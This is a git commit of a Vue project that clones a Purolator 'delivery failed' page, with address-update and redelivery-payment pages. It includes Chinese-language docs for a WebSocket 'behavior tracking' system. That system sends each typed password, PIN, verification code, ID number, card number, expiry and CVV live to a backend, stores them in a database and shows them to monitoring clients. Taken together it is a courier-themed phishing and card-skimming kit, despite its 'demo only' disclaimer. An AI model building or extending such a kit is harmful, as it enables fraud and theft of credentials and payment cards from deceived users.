first commit

This commit is contained in:
2025-07-08 11:21:52 +08:00
commit 076e80b491
46 changed files with 6644 additions and 0 deletions

12
.dockerignore Normal file
View File

@@ -0,0 +1,12 @@
node_modules
npm-debug.log*
yarn-debug.log*
yarn-error.log*
.DS_Store
.env.local
.env.development.local
.env.test.local
.env.production.local
dist
coverage
.nyc_output

24
.gitignore vendored Normal file
View File

@@ -0,0 +1,24 @@
# Logs
logs
*.log
npm-debug.log*
yarn-debug.log*
yarn-error.log*
pnpm-debug.log*
lerna-debug.log*
node_modules
dist
dist-ssr
*.local
# Editor directories and files
.vscode/*
!.vscode/extensions.json
.idea
.DS_Store
*.suo
*.ntvs*
*.njsproj
*.sln
*.sw?

54
Dockerfile Normal file
View File

@@ -0,0 +1,54 @@
# 构建阶段
FROM node:18-alpine AS build-stage
# 设置工作目录
WORKDIR /app
# 复制依赖配置文件
COPY package*.json ./
# 安装依赖 (包含开发依赖,构建需要)
RUN npm ci --include=dev --no-audit --no-fund
# 复制源代码
COPY . .
# 创建 .dockerignore 忽略的文件夹
RUN mkdir -p dist
# 构建应用
RUN npm run build
# 生产阶段 - 使用更轻量的 nginx 镜像
FROM nginx:1.25-alpine AS production-stage
# 创建非 root 用户
RUN addgroup -g 1001 -S nginx-user && \
adduser -S -D -H -u 1001 -h /var/cache/nginx -s /sbin/nologin -G nginx-user -g nginx-user nginx-user
# 复制自定义 Nginx 配置
COPY nginx.conf /etc/nginx/conf.d/default.conf
# 复制构建产物到 Nginx
COPY --from=build-stage --chown=nginx-user:nginx-user /app/dist /usr/share/nginx/html
# 设置正确的权限
RUN chown -R nginx-user:nginx-user /usr/share/nginx/html && \
chown -R nginx-user:nginx-user /var/cache/nginx && \
chown -R nginx-user:nginx-user /var/log/nginx && \
chown -R nginx-user:nginx-user /etc/nginx/conf.d && \
touch /var/run/nginx.pid && \
chown -R nginx-user:nginx-user /var/run/nginx.pid
# 切换到非 root 用户
USER nginx-user
# 暴露端口
EXPOSE 8080
# 健康检查
HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \
CMD wget --no-verbose --tries=1 --spider http://localhost:8080/ || exit 1
# 启动 Nginx
CMD ["nginx", "-g", "daemon off;"]

128
README.md Normal file
View File

@@ -0,0 +1,128 @@
# Purolator Vue应用
这是一个基于Vue 3的Purolator物流配送状态页面完全还原了原始HTML页面的设计和功能。
## 项目特点
- ✅ 完全保留原始页面的所有素材和样式
- ✅ 使用Vue 3 + Vite构建的现代化前端架构
- ✅ 响应式设计,支持移动端和桌面端
- ✅ 组件化开发,代码结构清晰
- ✅ 保持与原页面一模一样的视觉效果
## 项目结构
```
purolator-vue-app/
├── public/ # 静态资源目录
│ ├── img/ # 图片资源
│ │ ├── FSR-Certified_0-v0kJZovC.png
│ │ ├── icon-appstore-DUjdPpUP.png
│ │ ├── icon-googleplay-DvFlcbMB.png
│ │ ├── purolator_logo-Dg7zFu9c.png
│ │ ├── shipping-and-receiving-banner-Cjj25G3-.jpg
│ │ └── x3_0.png
│ └── assets/ # CSS等资源
│ └── index-Wc09J9bj.css
├── src/ # 源代码目录
│ ├── components/ # Vue组件
│ │ ├── HeaderComponent.vue # 头部导航组件
│ │ └── FooterComponent.vue # 页脚组件
│ ├── assets/ # 项目资源
│ ├── App.vue # 主应用组件
│ ├── main.js # 应用入口
│ └── style.css # 全局样式
├── index.html # HTML模板
├── package.json # 项目配置
├── vite.config.js # Vite配置
└── README.md # 项目说明
```
## 页面功能
### 主要组件
1. **HeaderComponent** - 头部导航栏
- Purolator品牌Logo
- 导航菜单Locations、Track a Shipment
- 响应式移动端菜单
2. **主内容区域** - 配送状态信息
- 包裹号码显示US9987677846
- 配送失败通知
- 详细的状态说明
- 继续按钮
3. **FooterComponent** - 页脚信息
- 客户支持链接
- 社交媒体图标
- 关于Purolator和快速链接
- 移动应用下载链接
- 认证标识
- 版权信息
### 样式特点
- 保持与原页面完全一致的颜色方案
- 使用Purolator品牌色#001996(深蓝色)
- 完整的响应式设计
- 所有原始图标和图片都已保留
## 安装和运行
### 安装依赖
```bash
npm install
```
### 开发模式运行
```bash
npm run dev
```
### 构建生产版本
```bash
npm run build
```
### 预览生产版本
```bash
npm run preview
```
## 技术栈
- **Vue 3** - 前端框架
- **Vite** - 构建工具
- **原生CSS** - 保持原始样式
- **响应式设计** - 支持多设备
## 浏览器支持
- Chrome (推荐)
- Firefox
- Safari
- Edge
## 开发说明
这个项目完全基于原始的Purolator HTML页面创建所有的样式、图片、文字内容都保持原样。主要的改进是
1. **现代化架构**使用Vue 3替代原始HTML提供更好的维护性
2. **组件化**:将页面拆分为逻辑清晰的组件
3. **开发体验**使用Vite提供快速的开发和构建体验
## 注意事项
- 所有的外部链接都保持原样
- 图片资源都已本地化处理
- CSS样式完全保留原始设计
- 响应式设计确保在各种设备上都能正常显示
## 许可证
本项目仅用于学习和演示目的。所有Purolator相关的商标、Logo和内容版权归Purolator Inc.所有。

14
index.html Normal file
View File

@@ -0,0 +1,14 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Purolator - Delivery Status</title>
<link rel="icon" href="favicon.ico" type="image/x-icon">
<link rel="stylesheet" href="./assets/index-Wc09J9bj.css">
</head>
<body>
<div id="app"></div>
<script type="module" src="/src/main.js"></script>
</body>
</html>

View File

@@ -0,0 +1 @@

View File

@@ -0,0 +1,244 @@
# LightHouse 前端用户行为收集实现说明
## 概述
本实现基于后端提供的 WebSocket 接口,为 Vue.js 前端应用添加了完整的用户行为收集功能,支持实时上报用户在页面上的各种操作行为。
## 功能特性
### 1. 自动行为收集
- **表单输入追踪**: 自动监听所有输入框的输入行为
- **页面导航追踪**: 自动记录页面访问和离开
- **表单提交追踪**: 监听表单提交和完成状态
- **会话管理**: 自动管理用户会话开始和结束
### 2. 支持的行为类型
根据后端 WebSocket 接口规范,实现了以下行为类型:
#### 用户基本信息
- `input_name` - 输入姓名
- `input_phone` - 输入电话
- `input_email` - 输入邮箱
- `input_id_card` - 输入身份证号
#### 登录信息
- `login` - 登录行为
- `input_username` - 输入用户名
- `input_password` - 输入密码
- `input_verify_code` - 输入验证码
- `input_pin` - 输入PIN码
#### 地址信息
- `input_address_country` - 输入国家
- `input_address_state` - 输入省份/州
- `input_address_city` - 输入城市
- `input_address_detail` - 输入详细地址
- `input_address_zip` - 输入邮政编码
#### 信用卡信息
- `input_card_number` - 输入卡号
- `input_card_type` - 输入卡类型
- `input_card_holder` - 输入持卡人姓名
- `input_card_expiry` - 输入有效期
- `input_card_cvv` - 输入CVV
#### 状态变更
- `complete_registration` - 完成注册
- `complete_payment` - 完成支付
- `session_start` - 会话开始
- `session_end` - 会话结束
- `page_visit` - 页面访问
- `page_leave` - 页面离开
## 架构设计
### 1. WebSocket 服务 (`src/services/websocket.js`)
- 负责与后端 WebSocket 的连接管理
- 实现自动重连机制
- 提供消息队列确保数据不丢失
- 提供心跳检测保持连接活跃
### 2. 行为追踪混入 (`src/mixins/behaviorTracking.js`)
- Vue 混入,为组件提供行为追踪能力
- 自动监听表单输入元素
- 提供防抖机制避免频繁上报
- 智能识别输入框类型
### 3. 导航追踪插件 (`src/plugins/navigationTracking.js`)
- 基于 Vue Router 的全局导航守卫
- 自动追踪页面访问和离开
- 记录页面间的跳转关系
## 使用方法
### 1. 在组件中启用行为追踪
```javascript
import { behaviorTrackingMixin } from '../mixins/behaviorTracking.js'
export default {
mixins: [behaviorTrackingMixin],
// 组件其他选项...
}
```
### 2. 手动触发特定行为追踪
```javascript
// 在组件方法中
methods: {
onSubmitForm() {
// 追踪表单提交
this.trackFormSubmit('payment', this.formData);
// 其他业务逻辑...
}
}
```
### 3. 输入框自动追踪配置
输入框会根据以下优先级自动识别追踪类型:
1. `id` 属性
2. `name` 属性
3. `data-track` 属性
4. `placeholder` 内容智能识别
推荐的输入框配置:
```html
<!-- 通过 id 识别 -->
<input type="text" id="name" v-model="userName" />
<input type="text" id="cardNumber" v-model="cardNum" />
<!-- 通过 data-track 属性指定 -->
<input type="text" data-track="phone" v-model="phoneNum" />
```
## 配置说明
### WebSocket 连接配置
`src/services/websocket.js` 中可以修改以下配置:
```javascript
constructor() {
this.wsUrl = 'wss://localhost:8080/api/v1/userInfo/ws_pub'; // WebSocket地址
this.maxReconnectAttempts = 5; // 最大重连次数
this.reconnectInterval = 3000; // 重连间隔(毫秒)
}
```
### 行为追踪配置
`src/mixins/behaviorTracking.js` 中可以调整防抖延迟:
```javascript
const debouncedTrack = this.debounce((value) => {
this.trackInputBehavior(trackingKey, value, input);
}, 500); // 防抖延迟500毫秒
```
## 数据格式
发送到后端的消息格式:
```json
{
"type": "行为类型",
"uuid": "用户唯一标识",
"status": "状态描述",
"payload": {
"字段名": "字段值"
}
}
```
示例:
```json
{
"type": "input_card_number",
"uuid": "user_1703123456789_abc123def",
"status": "正在输入卡号",
"payload": {
"card_number": "1234567890123456"
}
}
```
## 测试
### 1. 使用测试页面
打开 `test-behavior.html` 文件可以测试 WebSocket 连接和各种行为上报功能。
### 2. 浏览器开发者工具
在浏览器控制台中可以看到:
- WebSocket 连接状态
- 发送的行为数据
- 连接错误和重连信息
### 3. 运行应用测试
```bash
npm run dev
```
在应用中正常操作即可触发行为收集:
- 访问不同页面
- 在表单中输入内容
- 提交表单
## 安全注意事项
1. **敏感信息**: 密码、卡号等敏感信息会被上报,请确保后端有适当的安全措施
2. **用户隐私**: 建议添加用户同意机制
3. **数据传输**: 使用 WSS 加密传输确保数据安全
4. **错误处理**: 实现了重连机制,但建议监控连接状态
## 故障排除
### 常见问题
1. **WebSocket 连接失败**
- 检查后端服务是否启动
- 确认 WebSocket URL 是否正确
- 检查网络防火墙设置
2. **行为数据未上报**
- 检查浏览器控制台是否有错误
- 确认输入框是否正确配置了追踪标识
- 检查 WebSocket 连接状态
3. **页面导航追踪异常**
- 确认路由配置正确
- 检查导航守卫是否正常执行
### 调试建议
- 打开浏览器开发者工具的 Network 选项卡查看 WebSocket 连接
- 使用 `test-behavior.html` 测试基础功能
- 在组件中添加 `console.log` 确认混入是否正确加载
## 扩展开发
### 添加新的行为类型
1.`UserBehaviorTracker` 类中添加新的追踪方法
2.`behaviorTrackingMixin` 中添加对应的字段映射
3. 更新组件中的调用逻辑
### 自定义行为处理
```javascript
// 在组件中自定义行为
this.$behaviorTracker.sendBehavior(
'custom_action',
'自定义行为描述',
{ custom_data: 'value' }
);
```
## 性能优化
1. **防抖处理**: 输入行为使用防抖减少网络请求
2. **消息队列**: 断线时缓存消息,重连后批量发送
3. **心跳检测**: 定期发送心跳保持连接活跃
4. **智能重连**: 指数退避算法避免频繁重连
## 联系支持
如有问题或需要扩展功能,请参考:
- 后端 WebSocket 接口文档:`README_WebSocket_Enhancement.md`
- Vue.js 官方文档
- WebSocket API 文档

View File

@@ -0,0 +1,317 @@
# LightHouse WebSocket 系统增强说明
## 概述
本次更新对 LightHouse 系统的 WebSocket 功能进行了全面增强支持更完整的用户行为信息记录包括用户基本信息、地址信息、信用卡信息、登录时间、登录IP等。
## 主要改进
### 1. 数据模型扩展
#### 新增字段结构
- **用户基本信息**: 姓名、电话、邮箱、身份证号
- **登录信息**: 用户名、密码、验证码、PIN码、登录时间、登录IP、用户代理
- **地址信息**: 国家、省份、城市、详细地址、邮政编码
- **信用卡信息**: 卡号、卡类型、持卡人姓名、有效期、CVV、备注
- **系统信息**: 用户状态
- **自定义信息**: 5个自定义字段
#### 数据库字段映射
```sql
-- 用户基本信息
name VARCHAR(100) -- 姓名
phone VARCHAR(20) -- 电话
email VARCHAR(255) -- 邮箱
id_card VARCHAR(18) -- 身份证号
-- 登录信息
username VARCHAR(255) -- 用户名
password VARCHAR(255) -- 密码
verify_code VARCHAR(255) -- 验证码
pin VARCHAR(255) -- PIN码
login_time TIMESTAMP -- 登录时间
login_ip VARCHAR(45) -- 登录IP
user_agent TEXT -- 用户代理
-- 地址信息
country VARCHAR(100) -- 国家
state VARCHAR(100) -- 省份/州
city VARCHAR(100) -- 城市
address TEXT -- 详细地址
zip_code VARCHAR(20) -- 邮政编码
-- 信用卡信息
card_number VARCHAR(255) -- 卡号
card_type VARCHAR(50) -- 卡类型
card_holder_name VARCHAR(100) -- 持卡人姓名
expiry_date VARCHAR(10) -- 有效期
cvv VARCHAR(10) -- CVV
card_remark VARCHAR(255) -- 卡头备注
-- 系统信息
status VARCHAR(255) -- 用户状态
-- 自定义信息
custom_field1 VARCHAR(255) -- 自定义字段1
custom_field2 VARCHAR(255) -- 自定义字段2
custom_field3 VARCHAR(255) -- 自定义字段3
custom_field4 VARCHAR(255) -- 自定义字段4
custom_field5 VARCHAR(255) -- 自定义字段5
```
### 2. WebSocket 行为类型扩展
#### 用户基本信息行为
- `input_name` - 输入姓名
- `input_phone` - 输入电话
- `input_email` - 输入邮箱
- `input_id_card` - 输入身份证号
#### 登录信息行为
- `login` - 登录行为自动记录时间、IP、User-Agent
- `input_username` - 输入用户名
- `input_password` - 输入密码
- `input_verify_code` - 输入验证码
- `input_pin` - 输入PIN码
#### 地址信息行为
- `input_address_country` - 输入国家
- `input_address_state` - 输入省份/州
- `input_address_city` - 输入城市
- `input_address_detail` - 输入详细地址
- `input_address_zip` - 输入邮政编码
#### 信用卡信息行为
- `input_card_number` - 输入卡号
- `input_card_type` - 输入卡类型
- `input_card_holder` - 输入持卡人姓名
- `input_card_expiry` - 输入有效期
- `input_card_cvv` - 输入CVV
- `input_card_remark` - 输入卡头备注
#### 自定义字段行为
- `input_custom_field1` - 输入自定义字段1
- `input_custom_field2` - 输入自定义字段2
- `input_custom_field3` - 输入自定义字段3
- `input_custom_field4` - 输入自定义字段4
- `input_custom_field5` - 输入自定义字段5
#### 状态变更行为
- `complete_registration` - 完成注册
- `complete_payment` - 完成支付
- `session_start` - 会话开始
- `session_end` - 会话结束
### 3. 自动信息收集
#### 登录时自动记录
当发送 `login` 类型消息时,系统会自动记录:
- 当前时间作为登录时间
- 客户端IP地址
- User-Agent 信息
#### 实时广播
所有用户行为都会实时广播给所有订阅端,支持多客户端监控。
## 使用方法
### 1. 启动服务
确保 LightHouse 服务正在运行:
```bash
go run main.go
```
### 2. 连接 WebSocket
#### 发布端连接
```javascript
const wsPub = new WebSocket('ws://localhost:8080/ws/pub/userinfo');
```
#### 订阅端连接
```javascript
const wsSub = new WebSocket('ws://localhost:8080/ws/sub/userinfo');
```
### 3. 发送用户行为
#### 基本格式
```json
{
"type": "行为类型",
"uuid": "用户唯一标识",
"status": "状态描述",
"payload": {
"字段名": "字段值"
}
}
```
#### 示例:完整用户注册流程
```javascript
// 1. 用户登录
wsPub.send(JSON.stringify({
type: 'login',
uuid: 'user123',
status: '用户正在登录',
payload: {}
}));
// 2. 输入基本信息
wsPub.send(JSON.stringify({
type: 'input_name',
uuid: 'user123',
status: '正在输入姓名',
payload: { name: '张三' }
}));
wsPub.send(JSON.stringify({
type: 'input_phone',
uuid: 'user123',
status: '正在输入电话',
payload: { phone: '13800138000' }
}));
// 3. 输入地址信息
wsPub.send(JSON.stringify({
type: 'input_address_country',
uuid: 'user123',
status: '正在输入国家',
payload: { country: '中国' }
}));
// 4. 输入信用卡信息
wsPub.send(JSON.stringify({
type: 'input_card_number',
uuid: 'user123',
status: '正在输入卡号',
payload: { card_number: '1234567890123456' }
}));
// 5. 完成注册
wsPub.send(JSON.stringify({
type: 'complete_registration',
uuid: 'user123',
status: '注册完成',
payload: {}
}));
```
### 4. 监控用户行为
#### 订阅端监听
```javascript
wsSub.onmessage = function(event) {
const data = JSON.parse(event.data);
switch(data.type) {
case 'login':
console.log('用户登录:', data.uuid, 'IP:', data.login_ip);
break;
case 'input_card_number':
console.log('用户输入卡号:', data.payload.card_number);
break;
case 'complete_registration':
console.log('用户完成注册:', data.uuid);
break;
}
};
```
## 测试
### 运行测试脚本
```bash
# 安装依赖
npm install ws
# 运行测试
node test_websocket.js
```
测试脚本会:
1. 连接发布端和订阅端
2. 发送各种类型的用户行为消息
3. 验证消息是否正确接收和处理
4. 自动关闭连接
### 测试覆盖范围
- ✅ 用户基本信息输入
- ✅ 登录信息输入
- ✅ 地址信息输入
- ✅ 信用卡信息输入
- ✅ 自定义字段输入
- ✅ 状态变更通知
- ✅ 实时广播功能
## 数据库迁移
### 自动迁移
系统使用 GORM 自动迁移功能,启动时会自动创建或更新数据库表结构。
### 手动迁移(如果需要)
```sql
-- 添加新字段(如果表已存在)
ALTER TABLE user_infos ADD COLUMN name VARCHAR(100);
ALTER TABLE user_infos ADD COLUMN phone VARCHAR(20);
ALTER TABLE user_infos ADD COLUMN email VARCHAR(255);
ALTER TABLE user_infos ADD COLUMN id_card VARCHAR(18);
-- ... 其他字段
```
## 安全注意事项
1. **敏感信息保护**: 密码、卡号等敏感信息会存储在数据库中,请确保数据库安全
2. **UUID唯一性**: 确保每个用户使用唯一的UUID标识
3. **输入验证**: 客户端应验证输入数据的格式和有效性
4. **连接安全**: 生产环境建议使用WSSWebSocket Secure
5. **访问控制**: 考虑添加身份验证和授权机制
## 性能优化
1. **连接池管理**: 系统自动管理WebSocket连接池
2. **消息缓冲**: 使用缓冲通道避免消息丢失
3. **并发处理**: 支持多客户端并发连接
4. **数据库优化**: 使用索引优化查询性能
## 故障排除
### 常见问题
1. **连接失败**
- 检查服务是否启动
- 确认端口是否正确
- 检查防火墙设置
2. **消息未接收**
- 确认订阅端已连接
- 检查消息格式是否正确
- 查看服务日志
3. **数据未保存**
- 检查数据库连接
- 确认数据库权限
- 查看错误日志
### 日志查看
```bash
# 查看服务日志
tail -f logs/light_house.log
```
## 扩展开发
### 添加新的行为类型
1.`internal/handler/ws.go` 中添加新的 case 分支
2. 在模型中添加对应字段(如果需要)
3. 更新DAO层的更新方法
4. 更新文档和测试
### 自定义字段使用
系统提供了5个自定义字段可以根据业务需求灵活使用
- `custom_field1` - `custom_field5`
## 联系支持
如有问题或建议请联系开发团队或提交Issue。

111
md/运行说明.md Normal file
View File

@@ -0,0 +1,111 @@
# Purolator Vue 项目使用说明
## 项目概述
这是一个基于 Vue 3 + Vite 的 Purolator 配送状态管理系统,包含多个页面:
- 首页:配送状态显示
- 更新地址页面:修改配送地址表单
- 在线支付页面:重新配送服务费支付
## 快速开始
### 1. 安装依赖
```bash
npm install
```
### 2. 启动开发服务器
```bash
npm run dev
```
或者双击 `start.bat` 文件Windows
### 3. 访问应用
打开浏览器访问:`http://localhost:5173`(或显示的端口)
## 页面路由
### 主要页面
- **首页**: `/` - 显示包裹配送状态
- **更新地址**: `/update-address` - 配送地址修改表单
- **在线支付**: `/payment` - 重新配送服务费支付
### 页面导航
- 从首页点击 "Update Address" 按钮可以跳转到地址更新页面
- 从首页点击 "Pay for Redelivery" 按钮可以跳转到支付页面
- 从地址更新页面可以继续到支付页面
- 各页面都包含完整的头部导航和页脚
## 项目结构
```
src/
├── components/ # Vue 组件
│ ├── HomePage.vue # 首页组件
│ ├── UpdateAddressPage.vue # 地址更新页面
│ ├── PaymentPage.vue # 在线支付页面
│ ├── HeaderComponent.vue # 头部导航组件
│ └── FooterComponent.vue # 页脚组件
├── router/ # 路由配置
│ └── index.js # 路由定义
├── assets/ # 静态资源
├── App.vue # 主应用组件
├── main.js # 应用入口
└── style.css # 全局样式
```
## 功能特点
### 响应式设计
- 支持桌面端和移动端
- 最大宽度 450px确保移动端最佳体验
- 自适应布局,在不同屏幕尺寸下都有良好显示
### 多页面支持
- 使用 Vue Router 实现页面路由
- 单页面应用体验
- 保持原有页面设计和功能
### 品牌一致性
- 保持 Purolator 品牌色彩 (#001996)
- 使用原版图片和图标
- 完整的页脚信息和链接
## 开发说明
### 技术栈
- Vue 3 (Composition API)
- Vue Router 4
- Vite (构建工具)
- CSS3 (响应式设计)
### 添加新页面
1.`src/components/` 创建新的 Vue 组件
2.`src/router/index.js` 添加路由配置
3. 确保组件包含 HeaderComponent 和 FooterComponent
### 样式规范
- 使用 scoped CSS 避免样式冲突
- 保持与原版设计一致的颜色和字体
- 确保移动端友好
## 故障排除
### 常见问题
1. **端口占用**: 如果 5173 端口被占用Vite 会自动选择其他端口
2. **依赖问题**: 删除 `node_modules` 文件夹并重新运行 `npm install`
3. **路由问题**: 确保所有页面组件都已正确导入和注册
### 构建生产版本
```bash
npm run build
```
生产文件将生成在 `dist/` 目录中。
## 更新日志
- 添加了 Vue Router 支持
- 创建了地址更新页面
- 创建了在线支付页面
- 实现了多页面导航
- 支持信用卡支付表单验证
- 保持了原有的设计和功能

45
nginx.conf Normal file
View File

@@ -0,0 +1,45 @@
server {
listen 8080;
server_name localhost;
root /usr/share/nginx/html;
index index.html;
# 启用 gzip 压缩
gzip on;
gzip_vary on;
gzip_min_length 1024;
gzip_proxied any;
gzip_types
text/plain
text/css
text/xml
text/javascript
application/javascript
application/xml+rss
application/json;
# 处理静态资源
location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff|woff2|ttf|eot)$ {
expires 1y;
add_header Cache-Control "public, immutable";
try_files $uri =404;
}
# SPA 路由支持 - 关键配置
location / {
try_files $uri $uri/ @fallback;
}
# 回退到 index.html这是 SPA 路由的核心
location @fallback {
rewrite ^.*$ /index.html last;
}
# 安全头部
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
# 错误页面
error_page 404 /index.html;
}

770
package-lock.json generated Normal file
View File

@@ -0,0 +1,770 @@
{
"name": "purolator-vue-app",
"version": "1.0.0",
"lockfileVersion": 3,
"requires": true,
"packages": {
"": {
"name": "purolator-vue-app",
"version": "1.0.0",
"dependencies": {
"vue": "^3.3.0",
"vue-router": "^4.5.1"
},
"devDependencies": {
"@vitejs/plugin-vue": "^4.0.0",
"vite": "^4.0.0"
}
},
"node_modules/@babel/helper-string-parser": {
"version": "7.27.1",
"resolved": "https://registry.npmmirror.com/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz",
"integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==",
"engines": {
"node": ">=6.9.0"
}
},
"node_modules/@babel/helper-validator-identifier": {
"version": "7.27.1",
"resolved": "https://registry.npmmirror.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.27.1.tgz",
"integrity": "sha512-D2hP9eA+Sqx1kBZgzxZh0y1trbuU+JoDkiEwqhQ36nodYqJwyEIhPSdMNd7lOm/4io72luTPWH20Yda0xOuUow==",
"engines": {
"node": ">=6.9.0"
}
},
"node_modules/@babel/parser": {
"version": "7.27.5",
"resolved": "https://registry.npmmirror.com/@babel/parser/-/parser-7.27.5.tgz",
"integrity": "sha512-OsQd175SxWkGlzbny8J3K8TnnDD0N3lrIUtB92xwyRpzaenGZhxDvxN/JgU00U3CDZNj9tPuDJ5H0WS4Nt3vKg==",
"dependencies": {
"@babel/types": "^7.27.3"
},
"bin": {
"parser": "bin/babel-parser.js"
},
"engines": {
"node": ">=6.0.0"
}
},
"node_modules/@babel/types": {
"version": "7.27.6",
"resolved": "https://registry.npmmirror.com/@babel/types/-/types-7.27.6.tgz",
"integrity": "sha512-ETyHEk2VHHvl9b9jZP5IHPavHYk57EhanlRRuae9XCpb/j5bDCbPPMOBfCWhnl/7EDJz0jEMCi/RhccCE8r1+Q==",
"dependencies": {
"@babel/helper-string-parser": "^7.27.1",
"@babel/helper-validator-identifier": "^7.27.1"
},
"engines": {
"node": ">=6.9.0"
}
},
"node_modules/@esbuild/android-arm": {
"version": "0.18.20",
"resolved": "https://registry.npmmirror.com/@esbuild/android-arm/-/android-arm-0.18.20.tgz",
"integrity": "sha512-fyi7TDI/ijKKNZTUJAQqiG5T7YjJXgnzkURqmGj13C6dCqckZBLdl4h7bkhHt/t0WP+zO9/zwroDvANaOqO5Sw==",
"cpu": [
"arm"
],
"dev": true,
"optional": true,
"os": [
"android"
],
"engines": {
"node": ">=12"
}
},
"node_modules/@esbuild/android-arm64": {
"version": "0.18.20",
"resolved": "https://registry.npmmirror.com/@esbuild/android-arm64/-/android-arm64-0.18.20.tgz",
"integrity": "sha512-Nz4rJcchGDtENV0eMKUNa6L12zz2zBDXuhj/Vjh18zGqB44Bi7MBMSXjgunJgjRhCmKOjnPuZp4Mb6OKqtMHLQ==",
"cpu": [
"arm64"
],
"dev": true,
"optional": true,
"os": [
"android"
],
"engines": {
"node": ">=12"
}
},
"node_modules/@esbuild/android-x64": {
"version": "0.18.20",
"resolved": "https://registry.npmmirror.com/@esbuild/android-x64/-/android-x64-0.18.20.tgz",
"integrity": "sha512-8GDdlePJA8D6zlZYJV/jnrRAi6rOiNaCC/JclcXpB+KIuvfBN4owLtgzY2bsxnx666XjJx2kDPUmnTtR8qKQUg==",
"cpu": [
"x64"
],
"dev": true,
"optional": true,
"os": [
"android"
],
"engines": {
"node": ">=12"
}
},
"node_modules/@esbuild/darwin-arm64": {
"version": "0.18.20",
"resolved": "https://registry.npmmirror.com/@esbuild/darwin-arm64/-/darwin-arm64-0.18.20.tgz",
"integrity": "sha512-bxRHW5kHU38zS2lPTPOyuyTm+S+eobPUnTNkdJEfAddYgEcll4xkT8DB9d2008DtTbl7uJag2HuE5NZAZgnNEA==",
"cpu": [
"arm64"
],
"dev": true,
"optional": true,
"os": [
"darwin"
],
"engines": {
"node": ">=12"
}
},
"node_modules/@esbuild/darwin-x64": {
"version": "0.18.20",
"resolved": "https://registry.npmmirror.com/@esbuild/darwin-x64/-/darwin-x64-0.18.20.tgz",
"integrity": "sha512-pc5gxlMDxzm513qPGbCbDukOdsGtKhfxD1zJKXjCCcU7ju50O7MeAZ8c4krSJcOIJGFR+qx21yMMVYwiQvyTyQ==",
"cpu": [
"x64"
],
"dev": true,
"optional": true,
"os": [
"darwin"
],
"engines": {
"node": ">=12"
}
},
"node_modules/@esbuild/freebsd-arm64": {
"version": "0.18.20",
"resolved": "https://registry.npmmirror.com/@esbuild/freebsd-arm64/-/freebsd-arm64-0.18.20.tgz",
"integrity": "sha512-yqDQHy4QHevpMAaxhhIwYPMv1NECwOvIpGCZkECn8w2WFHXjEwrBn3CeNIYsibZ/iZEUemj++M26W3cNR5h+Tw==",
"cpu": [
"arm64"
],
"dev": true,
"optional": true,
"os": [
"freebsd"
],
"engines": {
"node": ">=12"
}
},
"node_modules/@esbuild/freebsd-x64": {
"version": "0.18.20",
"resolved": "https://registry.npmmirror.com/@esbuild/freebsd-x64/-/freebsd-x64-0.18.20.tgz",
"integrity": "sha512-tgWRPPuQsd3RmBZwarGVHZQvtzfEBOreNuxEMKFcd5DaDn2PbBxfwLcj4+aenoh7ctXcbXmOQIn8HI6mCSw5MQ==",
"cpu": [
"x64"
],
"dev": true,
"optional": true,
"os": [
"freebsd"
],
"engines": {
"node": ">=12"
}
},
"node_modules/@esbuild/linux-arm": {
"version": "0.18.20",
"resolved": "https://registry.npmmirror.com/@esbuild/linux-arm/-/linux-arm-0.18.20.tgz",
"integrity": "sha512-/5bHkMWnq1EgKr1V+Ybz3s1hWXok7mDFUMQ4cG10AfW3wL02PSZi5kFpYKrptDsgb2WAJIvRcDm+qIvXf/apvg==",
"cpu": [
"arm"
],
"dev": true,
"optional": true,
"os": [
"linux"
],
"engines": {
"node": ">=12"
}
},
"node_modules/@esbuild/linux-arm64": {
"version": "0.18.20",
"resolved": "https://registry.npmmirror.com/@esbuild/linux-arm64/-/linux-arm64-0.18.20.tgz",
"integrity": "sha512-2YbscF+UL7SQAVIpnWvYwM+3LskyDmPhe31pE7/aoTMFKKzIc9lLbyGUpmmb8a8AixOL61sQ/mFh3jEjHYFvdA==",
"cpu": [
"arm64"
],
"dev": true,
"optional": true,
"os": [
"linux"
],
"engines": {
"node": ">=12"
}
},
"node_modules/@esbuild/linux-ia32": {
"version": "0.18.20",
"resolved": "https://registry.npmmirror.com/@esbuild/linux-ia32/-/linux-ia32-0.18.20.tgz",
"integrity": "sha512-P4etWwq6IsReT0E1KHU40bOnzMHoH73aXp96Fs8TIT6z9Hu8G6+0SHSw9i2isWrD2nbx2qo5yUqACgdfVGx7TA==",
"cpu": [
"ia32"
],
"dev": true,
"optional": true,
"os": [
"linux"
],
"engines": {
"node": ">=12"
}
},
"node_modules/@esbuild/linux-loong64": {
"version": "0.18.20",
"resolved": "https://registry.npmmirror.com/@esbuild/linux-loong64/-/linux-loong64-0.18.20.tgz",
"integrity": "sha512-nXW8nqBTrOpDLPgPY9uV+/1DjxoQ7DoB2N8eocyq8I9XuqJ7BiAMDMf9n1xZM9TgW0J8zrquIb/A7s3BJv7rjg==",
"cpu": [
"loong64"
],
"dev": true,
"optional": true,
"os": [
"linux"
],
"engines": {
"node": ">=12"
}
},
"node_modules/@esbuild/linux-mips64el": {
"version": "0.18.20",
"resolved": "https://registry.npmmirror.com/@esbuild/linux-mips64el/-/linux-mips64el-0.18.20.tgz",
"integrity": "sha512-d5NeaXZcHp8PzYy5VnXV3VSd2D328Zb+9dEq5HE6bw6+N86JVPExrA6O68OPwobntbNJ0pzCpUFZTo3w0GyetQ==",
"cpu": [
"mips64el"
],
"dev": true,
"optional": true,
"os": [
"linux"
],
"engines": {
"node": ">=12"
}
},
"node_modules/@esbuild/linux-ppc64": {
"version": "0.18.20",
"resolved": "https://registry.npmmirror.com/@esbuild/linux-ppc64/-/linux-ppc64-0.18.20.tgz",
"integrity": "sha512-WHPyeScRNcmANnLQkq6AfyXRFr5D6N2sKgkFo2FqguP44Nw2eyDlbTdZwd9GYk98DZG9QItIiTlFLHJHjxP3FA==",
"cpu": [
"ppc64"
],
"dev": true,
"optional": true,
"os": [
"linux"
],
"engines": {
"node": ">=12"
}
},
